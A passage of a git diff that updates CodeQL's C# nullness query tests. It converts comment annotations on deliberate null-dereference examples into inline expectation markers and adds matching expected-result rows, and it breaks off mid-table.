b/csharp/ql/test/query-tests/Nullness/E.cs index ec1fa161392..f8264523b68 100644 --- a/csharp/ql/test/query-tests/Nullness/E.cs +++ b/csharp/ql/test/query-tests/Nullness/E.cs @@ -6,12 +6,12 @@ public class E { public void Ex1(long[][][] a1, int ix, int len) { - long[][] a2 = null; + long[][] a2 = null; // $ Source[cs/dereferenced-value-may-be-null] var haveA2 = ix < len && (a2 = a1[ix]) != null; - long[] a3 = null; - var haveA3 = haveA2 && (a3 = a2[ix]) != null; // GOOD (FALSE POSITIVE) + long[] a3 = null; // $ Source[cs/dereferenced-value-may-be-null] + var haveA3 = haveA2 && (a3 = a2[ix]) != null; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (haveA3) - a3[0] = 0; // GOOD (FALSE POSITIVE) + a3[0] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void Ex2(bool x, bool y) @@ -20,11 +20,11 @@ public class E var s2 = (s1 == null) ? null : ""; if (s2 == null) { - s1 = y ? null : ""; + s1 = y ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] s2 = (s1 == null) ? null : ""; } if (s2 != null) - s1.ToString(); // GOOD (FALSE POSITIVE) + s1.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void Ex3(IEnumerable ss) @@ -48,7 +48,7 @@ public class E { int index = 0; var result = new List>(); - List slice = null; + List slice = null; // $ Source[cs/dereferenced-value-may-be-null] var iter = list.GetEnumerator(); while (iter.MoveNext()) { @@ -58,19 +58,19 @@ public class E slice = new List(); result.Add(slice); } - slice.Add(str); // GOOD (FALSE POSITIVE) + slice.Add(str); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] ++index; } } - public void Ex5(bool hasArr, int[] arr) + public void Ex5(bool hasArr, int[] arr) // $ Source[cs/dereferenced-value-may-be-null] { int arrLen = 0; if (hasArr) arrLen = arr == null ? 0 : arr.Length; if (arrLen > 0) - arr[0] = 0; // GOOD (FALSE POSITIVE) + arr[0] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public const int MY_CONST_A = 1; @@ -104,12 +104,12 @@ public class E public void Ex7(int[] arr1) { - int[] arr2 = null; + int[] arr2 = null; // $ Source[cs/dereferenced-value-may-be-null] if (arr1.Length > 0) arr2 = new int[arr1.Length]; for (var i = 0; i < arr1.Length; i++) - arr2[i] = arr1[i]; // GOOD (FALSE POSITIVE) + arr2[i] = arr1[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void Ex8(int x, int lim) @@ -122,7 +122,7 @@ public class E int j = 0; while (!stop && j < lim) { - int step = (j * obj.GetHashCode()) % 10; // GOOD (FALSE POSITIVE) + int step = (j * obj.GetHashCode()) % 10; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (step == 0) { obj.ToString(); // GOOD @@ -134,7 +134,7 @@ public class E } else { - obj = null; + obj = null; // $ Source[cs/dereferenced-value-may-be-null] } continue; } @@ -149,33 +149,33 @@ public class E { return; } - object obj2 = obj1; + object obj2 = obj1; // $ Source[cs/dereferenced-value-may-be-null] if (obj2 != null && obj2.GetHashCode() % 5 > 2) { obj2.ToString(); // GOOD cond = true; } if (cond) - obj2.ToString(); // GOOD (FALSE POSITIVE) + obj2.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } - public void Ex10(int[] a) + public void Ex10(int[] a) // $ Source[cs/dereferenced-value-may-be-null] { int n = a == null ? 0 : a.Length; for (var i = 0; i < n; i++) { - int x = a[i]; // GOOD (FALSE POSITIVE) + int x = a[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (x > 7) a = new int[n]; } } - public void Ex11(object obj, bool b1) + public void Ex11(object obj, bool b1) // $ Source[cs/dereferenced-value-may-be-null] { bool b2 = obj == null ? false : b1; if (b2 == null) { - obj.ToString(); // GOOD (FALSE POSITIVE) + obj.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } if (obj == null) { @@ -183,61 +183,61 @@ public class E } if (b1 == null) { - obj.ToString(); // GOOD (FALSE POSITIVE) + obj.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } } - public void Ex12(object o) + public void Ex12(object o) // $ Source[cs/dereferenced-value-may-be-null] { - var i = o.GetHashCode(); // BAD (maybe) + var i = o.GetHashCode(); // $ Alert[cs/dereferenced-value-may-be-null] var s = o?.ToString(); } public void Ex13(bool b) { - var o = b ? null : ""; + var o = b ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] o.M1(); // GOOD if (b) - o.M2(); // BAD (maybe) + o.M2(); // $ Alert[cs/dereferenced-value-may-be-null] else - o.Select(x => x); // BAD (maybe) + o.Select(x => x); // $ Alert[cs/dereferenced-value-may-be-null] } public int Ex14(string s) { if (s is string) return s.Length; - return s.GetHashCode(); // BAD (always) + return s.GetHashCode(); // $ Alert[cs/dereferenced-value-is-always-null] } public void Ex15(bool b) { var x = ""; if (b) - x = null; - x.ToString(); // BAD (maybe) + x = null; // $ Source[cs/dereferenced-value-may-be-null] + x.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] if (b) - x.ToString(); // BAD (always) + x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } public void Ex16(bool b) { var x = ""; if (b) - x = null; + x = null; // $ Source[cs/dereferenced-value-may-be-null] if (b) - x.ToString(); // BAD (always) - x.ToString(); // BAD (maybe) + x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] + x.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } - public int Ex17(int? i) + public int Ex17(int? i) // $ Source[cs/dereferenced-value-may-be-null] { - return i.Value; // BAD (maybe) + return i.Value; // $ Alert[cs/dereferenced-value-may-be-null] } - public int Ex18(int? i) + public int Ex18(int? i) // $ Source[cs/dereferenced-value-may-be-null] { - return (int)i; // BAD (maybe) + return (int)i; // $ Alert[cs/dereferenced-value-may-be-null] } public int Ex19(int? i) @@ -280,9 +280,9 @@ public class E { if (b) b.ToString(); - var o = Make(); + var o = Make(); // $ Source[cs/dereferenced-value-may-be-null] o?.ToString(); - o.ToString(); // BAD (maybe) + o.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] if (b) b.ToString(); } @@ -298,8 +298,8 @@ public class E public void Ex25(object o) { - var s = o as string; - s.ToString(); // BAD (maybe) + var s = o as string; // $ Source[cs/dereferenced-value-may-be-null] + s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } private long? l; @@ -320,15 +320,15 @@ public class E { if ((s1 ?? s2) is null) { - s1.ToString(); // BAD (always) - s2.ToString(); // BAD (always) + s1.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] + s2.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } } static void Ex28() { var x = (string)null ?? null; - x.ToString(); // BAD (always) + x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } static void Ex29(string s) @@ -339,14 +339,14 @@ public class E static void Ex30(string s, object o) { - var x = s ?? o as string; - x.ToString(); // BAD (maybe) + var x = s ?? o as string; // $ Source[cs/dereferenced-value-may-be-null] + x.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } static void Ex31(string s, object o) { - dynamic x = s ?? o as string; - x.ToString(); // BAD (maybe) + dynamic x = s ?? o as string; // $ Source[cs/dereferenced-value-may-be-null] + x.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } static void Ex32(string s, object o) @@ -363,7 +363,7 @@ public class E x.ToString(); // GOOD } - static int Ex34(string s = null) => s.Length; // BAD (maybe) + static int Ex34(string s = null) => s.Length; // $ Alert[cs/dereferenced-value-may-be-null] static int Ex35(string s = "null") => s.Length; // GOOD @@ -371,19 +371,19 @@ public class E { if (o is string) { - var s = o as string; - return s.Length; // GOOD (FALSE POSITIVE) + var s = o as string; // $ Source[cs/dereferenced-value-may-be-null] + return s.Length; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } return -1; } - static bool Ex37(E e1, E e2) + static bool Ex37(E e1, E e2) // $ Source[cs/dereferenced-value-may-be-null] { if ((e1 == null && e2 != null) || (e1 != null && e2 == null)) return false; if (e1 == null && e2 == null) return true; - return e1.Long == e2.Long; // GOOD (FALSE POSITIVE) + return e1.Long == e2.Long; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } int Ex38(int? i) @@ -402,7 +402,7 @@ public class E { int? i = null; i ??= null; - return i.Value; // BAD (always) + return i.Value; // $ Alert[cs/dereferenced-value-is-always-null] } int Ex41() @@ -414,20 +414,20 @@ public class E static bool Ex42(int? i, IEnumerable @is) { - return @is.Any(j => j == i.Value); // BAD (maybe) + return @is.Any(j => j == i.Value); // $ Alert[cs/dereferenced-value-may-be-null] } static bool Ex43(int? i, IEnumerable @is) { if (i.HasValue) - return @is.Any(j => j == i.Value); // GOOD (FALSE POSITIVE) + return @is.Any(j => j == i.Value); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] return false; } static bool Ex44(int? i, IEnumerable @is) { if (i.HasValue) - @is = @is.Where(j => j == i.Value); // BAD (always) + @is = @is.Where(j => j == i.Value); // $ Alert[cs/dereferenced-value-may-be-null] i = null; return @is.Any(); } @@ -436,12 +436,12 @@ public class E { if (s is null) { - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } if (s is not not null) { - s.ToString(); // BAD (always) (FALSE NEGATIVE) + s.ToString(); // $ MISSING: Alert[cs/dereferenced-value-is-always-null] } if (s is not null) diff --git a/csharp/ql/test/query-tests/Nullness/F.cs b/csharp/ql/test/query-tests/Nullness/F.cs new file mode 100644 index 00000000000..b5d6b66b949 --- /dev/null +++ b/csharp/ql/test/query-tests/Nullness/F.cs @@ -0,0 +1,16 @@ +using Library; + +public class F +{ + public void M1() + { + object o = null; + o.Accept(); // $ Alert[cs/dereferenced-value-is-always-null] + } + + public void M2() + { + object? o = null; + o.AcceptNullable(); + } +} diff --git a/csharp/ql/test/query-tests/Nullness/Forwarding.cs b/csharp/ql/test/query-tests/Nullness/Forwarding.cs index fc7b69da490..122c5036567 100644 --- a/csharp/ql/test/query-tests/Nullness/Forwarding.cs +++ b/csharp/ql/test/query-tests/Nullness/Forwarding.cs @@ -33,11 +33,11 @@ class ForwardingTests if (IsNotNullWrong(s)) { - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] } AssertIsNotNull(s); - Console.WriteLine(s.Length); // GOOD (false positive) + Console.WriteLine(s.Length); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-is-always-null] } bool IsNotNull(object o) diff --git a/csharp/ql/test/query-tests/Nullness/GuardedString.cs b/csharp/ql/test/query-tests/Nullness/GuardedString.cs index b5b74cf19ca..797955d95eb 100644 --- a/csharp/ql/test/query-tests/Nullness/GuardedString.cs +++ b/csharp/ql/test/query-tests/Nullness/GuardedString.cs @@ -4,7 +4,7 @@ class GuardedStringTest { void Fn(bool b) { - string s = b ? null : ""; + string s = b ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] if (!string.IsNullOrEmpty(s)) { @@ -32,7 +32,7 @@ class GuardedStringTest Console.WriteLine(s.Length); // GOOD if (s?.Length != 0) - Console.WriteLine(s.Length); // BAD (maybe) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-may-be-null] else Console.WriteLine(s.Length); // GOOD } diff --git a/csharp/ql/test/query-tests/Nullness/Implications.expected b/csharp/ql/test/query-tests/Nullness/Implications.expected index dbb6ab23a9a..ec660dd44a4 100644 --- a/csharp/ql/test/query-tests/Nullness/Implications.expected +++ b/csharp/ql/test/query-tests/Nullness/Implications.expected @@ -1305,6 +1305,10 @@ | E.cs:442:13:442:29 | ... is ... | true | E.cs:442:13:442:13 | access to parameter s | non-null | | E.cs:447:13:447:25 | ... is ... | true | E.cs:447:13:447:13 | access to parameter s | non-null | | E.cs:452:13:452:23 | ... is ... | true | E.cs:452:13:452:13 | access to parameter s | non-null | +| F.cs:8:9:8:9 | access to local variable o | non-null | F.cs:7:20:7:23 | null | non-null | +| F.cs:8:9:8:9 | access to local variable o | null | F.cs:7:20:7:23 | null | null | +| F.cs:14:9:14:9 | access to local variable o | non-null | F.cs:13:21:13:24 | null | non-null | +| F.cs:14:9:14:9 | access to local variable o | null | F.cs:13:21:13:24 | null | null | | Forwarding.cs:9:13:9:30 | !... | false | Forwarding.cs:9:14:9:30 | call to method IsNullOrEmpty | true | | Forwarding.cs:9:13:9:30 | !... | true | Forwarding.cs:9:14:9:30 | call to method IsNullOrEmpty | false | | Forwarding.cs:9:14:9:14 | access to local variable s | empty | Forwarding.cs:7:20:7:23 | null | empty | diff --git a/csharp/ql/test/query-tests/Nullness/NullAlways.expected b/csharp/ql/test/query-tests/Nullness/NullAlways.expected index ec8a78e817b..e2e594b2e2c 100644 --- a/csharp/ql/test/query-tests/Nullness/NullAlways.expected +++ b/csharp/ql/test/query-tests/Nullness/NullAlways.expected @@ -38,6 +38,7 @@ | E.cs:331:9:331:9 | access to local variable x | Variable $@ is always null at this dereference. | E.cs:330:13:330:13 | x | x | | E.cs:405:16:405:16 | access to local variable i | Variable $@ is always null at this dereference. | E.cs:403:14:403:14 | i | i | | E.cs:439:13:439:13 | access to parameter s | Variable $@ is always null at this dereference. | E.cs:435:29:435:29 | s | s | +| F.cs:8:9:8:9 | access to local variable o | Variable $@ is always null at this dereference. | F.cs:7:16:7:16 | o | o | | Forwarding.cs:36:31:36:31 | access to local variable s | Variable $@ is always null at this dereference. | Forwarding.cs:7:16:7:16 | s | s | | Forwarding.cs:40:27:40:27 | access to local variable s | Variable $@ is always null at this dereference. | Forwarding.cs:7:16:7:16 | s | s | | NullAlwaysBad.cs:9:30:9:30 | access to parameter s | Variable $@ is always null at this dereference. | NullAlwaysBad.cs:7:29:7:29 | s | s | diff --git a/csharp/ql/test/query-tests/Nullness/NullAlways.qlref b/csharp/ql/test/query-tests/Nullness/NullAlways.qlref index 16785ed3e7a..9f937e60952 100644 --- a/csharp/ql/test/query-tests/Nullness/NullAlways.qlref +++ b/csharp/ql/test/query-tests/Nullness/NullAlways.qlref @@ -1 +1,2 @@ -CSI/NullAlways.ql +query: CSI/NullAlways.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs b/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs index 6f0d486f1c7..107a4f3381e 100644 --- a/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs +++ b/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs @@ -6,7 +6,7 @@ namespace NullAlways { void DoPrint(string s) { - if (s != null || s.Length > 0) + if (s != null || s.Length > 0) // $ Alert[cs/dereferenced-value-is-always-null] Console.WriteLine(s); } } diff --git a/csharp/ql/test/query-tests/Nullness/NullMaybe.expected b/csharp/ql/test/query-tests/Nullness/NullMaybe.expected index 631c2cd7766..876cde548b6 100644 --- a/csharp/ql/test/query-tests/Nullness/NullMaybe.expected +++ b/csharp/ql/test/query-tests/Nullness/NullMaybe.expected @@ -1,3 +1,483 @@ +#select +| C.cs:64:9:64:10 | access to local variable o1 | C.cs:62:13:62:46 | SSA def(o1) | C.cs:64:9:64:10 | access to local variable o1 | Variable $@ may be null at this access because of $@ assignment. | C.cs:62:13:62:14 | o1 | o1 | C.cs:62:13:62:46 | Object o1 = ... | this | +| C.cs:68:9:68:10 | access to local variable o2 | C.cs:66:13:66:46 | SSA def(o2) | C.cs:68:9:68:10 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | C.cs:66:13:66:14 | o2 | o2 | C.cs:66:13:66:46 | Object o2 = ... | this | +| C.cs:95:15:95:15 | access to local variable o | C.cs:94:13:94:45 | SSA def(o) | C.cs:95:15:95:15 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | C.cs:94:13:94:13 | o | o | C.cs:94:13:94:45 | Object o = ... | this | +| C.cs:103:27:103:30 | access to parameter list | C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | Variable $@ may be null at this access because of $@ assignment. | C.cs:99:42:99:45 | list | list | C.cs:102:13:102:23 | ... = ... | this | +| C.cs:177:13:177:13 | access to local variable s | C.cs:178:13:178:20 | SSA def(s) | C.cs:177:13:177:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:151:13:151:13 | s | s | C.cs:178:13:178:20 | ... = ... | this | +| C.cs:203:13:203:13 | access to local variable s | C.cs:204:13:204:20 | SSA def(s) | C.cs:203:13:203:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:185:13:185:13 | s | s | C.cs:204:13:204:20 | ... = ... | this | +| C.cs:223:9:223:9 | access to local variable s | C.cs:222:13:222:20 | SSA def(s) | C.cs:223:9:223:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:210:13:210:13 | s | s | C.cs:222:13:222:20 | ... = ... | this | +| C.cs:242:13:242:13 | access to local variable s | C.cs:240:24:240:31 | SSA def(s) | C.cs:242:13:242:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:228:16:228:16 | s | s | C.cs:240:24:240:31 | ... = ... | this | +| D.cs:23:9:23:13 | access to parameter param | D.cs:17:17:17:20 | null | D.cs:23:9:23:13 | access to parameter param | Variable $@ may be null at this access because of $@ null argument. | D.cs:21:32:21:36 | param | param | D.cs:17:17:17:20 | null | this | +| D.cs:32:9:32:13 | access to parameter param | D.cs:26:32:26:36 | SSA param(param) | D.cs:32:9:32:13 | access to parameter param | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:26:32:26:36 | param | param | D.cs:28:13:28:25 | ... != ... | this | +| D.cs:62:13:62:14 | access to local variable o5 | D.cs:58:13:58:41 | SSA def(o5) | D.cs:62:13:62:14 | access to local variable o5 | Variable $@ may be null at this access because of $@ assignment. | D.cs:58:13:58:14 | o5 | o5 | D.cs:58:13:58:41 | String o5 = ... | this | +| D.cs:73:13:73:14 | access to local variable o7 | D.cs:68:13:68:34 | SSA def(o7) | D.cs:73:13:73:14 | access to local variable o7 | Variable $@ may be null at this access because of $@ assignment. | D.cs:68:13:68:14 | o7 | o7 | D.cs:68:13:68:34 | String o7 = ... | this | +| D.cs:82:13:82:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:82:13:82:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this | +| D.cs:84:13:84:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:84:13:84:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this | +| D.cs:91:13:91:14 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:14 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | +| D.cs:94:21:94:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:94:21:94:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | +| D.cs:98:21:98:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:98:21:98:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | +| D.cs:102:31:102:32 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:102:31:102:32 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | +| D.cs:105:19:105:20 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:105:19:105:20 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | +| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this | +| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this | +| D.cs:135:24:135:24 | access to parameter b | D.cs:125:44:125:44 | SSA param(b) | D.cs:135:24:135:24 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:44:125:44 | b | b | D.cs:128:20:128:28 | ... == ... | this | +| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this | +| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this | +| D.cs:151:9:151:11 | access to parameter obj | D.cs:149:36:149:38 | SSA param(obj) | D.cs:151:9:151:11 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:149:36:149:38 | obj | obj | D.cs:152:17:152:27 | ... != ... | this | +| D.cs:171:9:171:11 | access to local variable obj | D.cs:163:16:163:25 | SSA def(obj) | D.cs:171:9:171:11 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | D.cs:163:16:163:18 | obj | obj | D.cs:163:16:163:25 | Object obj = ... | this | +| D.cs:245:13:245:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:245:13:245:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this | +| D.cs:247:13:247:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:247:13:247:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this | +| D.cs:253:13:253:14 | access to local variable o2 | D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | D.cs:249:13:249:14 | o2 | o2 | D.cs:249:13:249:38 | String o2 = ... | this | +| D.cs:267:13:267:13 | access to local variable o | D.cs:258:16:258:23 | SSA def(o) | D.cs:267:13:267:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:258:16:258:23 | Object o = ... | this | +| D.cs:291:13:291:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this | +| D.cs:291:13:291:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this | +| D.cs:294:13:294:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this | +| D.cs:294:13:294:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this | +| D.cs:300:17:300:20 | access to local variable prev | D.cs:296:16:296:26 | SSA def(prev) | D.cs:300:17:300:20 | access to local variable prev | Variable $@ may be null at this access because of $@ assignment. | D.cs:296:16:296:19 | prev | prev | D.cs:296:16:296:26 | Object prev = ... | this | +| D.cs:313:17:313:17 | access to local variable s | D.cs:304:16:304:23 | SSA def(s) | D.cs:313:17:313:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | D.cs:304:16:304:16 | s | s | D.cs:304:16:304:23 | String s = ... | this | +| D.cs:324:9:324:9 | access to local variable r | D.cs:316:16:316:23 | SSA def(r) | D.cs:324:9:324:9 | access to local variable r | Variable $@ may be null at this access because of $@ assignment. | D.cs:316:16:316:16 | r | r | D.cs:316:16:316:23 | Object r = ... | this | +| D.cs:356:13:356:13 | access to local variable a | D.cs:351:15:351:22 | SSA def(a) | D.cs:356:13:356:13 | access to local variable a | Variable $@ may be null at this access because of $@ assignment. | D.cs:351:15:351:15 | a | a | D.cs:351:15:351:22 | Int32[] a = ... | this | +| D.cs:363:13:363:16 | access to local variable last | D.cs:360:20:360:30 | SSA def(last) | D.cs:363:13:363:16 | access to local variable last | Variable $@ may be null at this access because of $@ assignment. | D.cs:360:20:360:23 | last | last | D.cs:360:20:360:30 | String last = ... | this | +| D.cs:372:13:372:13 | access to local variable b | D.cs:366:15:366:47 | SSA def(b) | D.cs:372:13:372:13 | access to local variable b | Variable $@ may be null at this access because of $@ assignment. | D.cs:366:15:366:15 | b | b | D.cs:366:15:366:47 | Int32[] b = ... | this | +| D.cs:395:20:395:20 | access to parameter a | D.cs:388:36:388:36 | SSA param(a) | D.cs:395:20:395:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:36:388:36 | a | a | D.cs:390:20:390:28 | ... == ... | this | +| D.cs:400:20:400:20 | access to parameter b | D.cs:388:45:388:45 | SSA param(b) | D.cs:400:20:400:20 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:45:388:45 | b | b | D.cs:397:20:397:28 | ... == ... | this | +| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:27:407:35 | ... == ... | this | +| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:55:407:63 | ... != ... | this | +| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:411:13:411:21 | ... != ... | this | +| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:14:407:22 | ... != ... | this | +| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:42:407:50 | ... == ... | this | +| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:409:13:409:21 | ... != ... | this | +| E.cs:12:38:12:39 | access to local variable a2 | E.cs:9:18:9:26 | SSA def(a2) | E.cs:12:38:12:39 | access to local variable a2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:9:18:9:19 | a2 | a2 | E.cs:9:18:9:26 | Int64[][] a2 = ... | this | +| E.cs:14:13:14:14 | access to local variable a3 | E.cs:11:16:11:24 | SSA def(a3) | E.cs:14:13:14:14 | access to local variable a3 | Variable $@ may be null at this access because of $@ assignment. | E.cs:11:16:11:17 | a3 | a3 | E.cs:11:16:11:24 | Int64[] a3 = ... | this | +| E.cs:27:13:27:14 | access to local variable s1 | E.cs:23:13:23:30 | SSA def(s1) | E.cs:27:13:27:14 | access to local variable s1 | Variable $@ may be null at this access because of $@ assignment. | E.cs:19:13:19:14 | s1 | s1 | E.cs:23:13:23:30 | ... = ... | this | +| E.cs:61:13:61:17 | access to local variable slice | E.cs:51:22:51:33 | SSA def(slice) | E.cs:61:13:61:17 | access to local variable slice | Variable $@ may be null at this access because of $@ assignment. | E.cs:51:22:51:26 | slice | slice | E.cs:51:22:51:33 | List slice = ... | this | +| E.cs:73:13:73:15 | access to parameter arr | E.cs:66:40:66:42 | SSA param(arr) | E.cs:73:13:73:15 | access to parameter arr | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:66:40:66:42 | arr | arr | E.cs:70:22:70:32 | ... == ... | this | +| E.cs:112:13:112:16 | access to local variable arr2 | E.cs:107:15:107:25 | SSA def(arr2) | E.cs:112:13:112:16 | access to local variable arr2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:107:15:107:18 | arr2 | arr2 | E.cs:107:15:107:25 | Int32[] arr2 = ... | this | +| E.cs:125:33:125:35 | access to local variable obj | E.cs:137:25:137:34 | SSA def(obj) | E.cs:125:33:125:35 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | E.cs:119:13:119:15 | obj | obj | E.cs:137:25:137:34 | ... = ... | this | +| 